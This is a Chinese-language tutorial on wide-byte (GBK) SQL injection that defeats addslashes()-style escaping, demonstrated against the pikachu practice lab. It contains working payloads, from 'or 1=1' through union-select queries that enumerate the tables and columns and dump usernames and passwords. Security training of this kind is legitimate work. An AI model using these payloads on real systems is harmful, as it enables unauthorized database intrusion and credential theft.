SQL注入-寬字節
含義:
MySQL是用的PHP語言,然后PHP有addslashes()等函數,這類函數會自動過濾 ’ ‘’ null 等這些敏感字符,將它們轉義成’ ‘’ \null;然后寬字節字符集比如GBK它會自動把兩個字節的字符識別為一個漢字,所以我們在單引號前面加一個%df,從而使單引號逃逸。
寬字節的注入條件有兩個:
1.數據庫編碼設置成GB系列
這里說的GB系列編碼,不是指PHP頁面的編碼,而是連接數據庫使用的編碼。
2.使用了轉義函數,將GET、POST、cookie傳遞的參數進行過濾,將單引號、雙引號、null等敏感字符用轉義符 \ 進行轉義。
常見的包括addslashes()、mysql_real_escape_string()函數。
轉義函數的轉義作用,就是我們常說的“過濾機制”。
當兩個條件都滿足時,才會存在寬字節注入。
具體原理:
1.通過前面的SQL注入實驗可以發現,字符型的注入點我們都是用單引號來判斷的,但是當遇到addslashes()時,單引號會被轉義成 ’ ,導致我們用來判斷注入點的單引號失效。
所以我們的目的就是使轉義符 \ 失效、使單引號逃逸。
2.我們通過URL編碼來分析,首先先看看這些特殊符號的URL編碼:
URL轉碼
空格 %20
' %27
# %23
\ %5C
3.payload的是【%df '】,其原理是當MySQL在使用GBK編碼的時候,會認為兩個字符是一個繁體漢字,然后讓我們的單引號%27成功逃逸
環境演示
通過pikachu請求寬字節注入,并且bp工具進行抓包
抓包的數據進行發送到repeater上進行輸入payload語句測試
添加payload語句并發送,暴漏出所有的用戶數據信息
name=%df' or 1=1#
如圖所示:
判斷可顯字段
這里用order by判斷字段數量會報錯,不知道是什么原因。直接跳到下一步:用union select聯合查詢直接測試1,2是否為可顯字段。
payload語句
name=kobe%df' union select 1,2#
可以看出第1,2個為可顯字段
爆數據庫名。
可以看到數據庫名為pikachu,還有數據版本。
爆數據庫表名。
注釋:按照之前union聯合查詢注入的payload,【union select group_concat(table_name),2 from information_schema.tables where table_schema=“pikachu”】里面是存在引號的,但如果用%df來使引號逃逸,就會使查詢語句出錯,所以后面的payload都是用嵌套查詢,避免使用引號。
name%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
遍歷出來所有的表名
暴字段名
kobe%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
如圖所示,暴漏出字段名
爆字段內容。
kobe%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#
數據庫對應的用戶名和密碼,直接解密即可;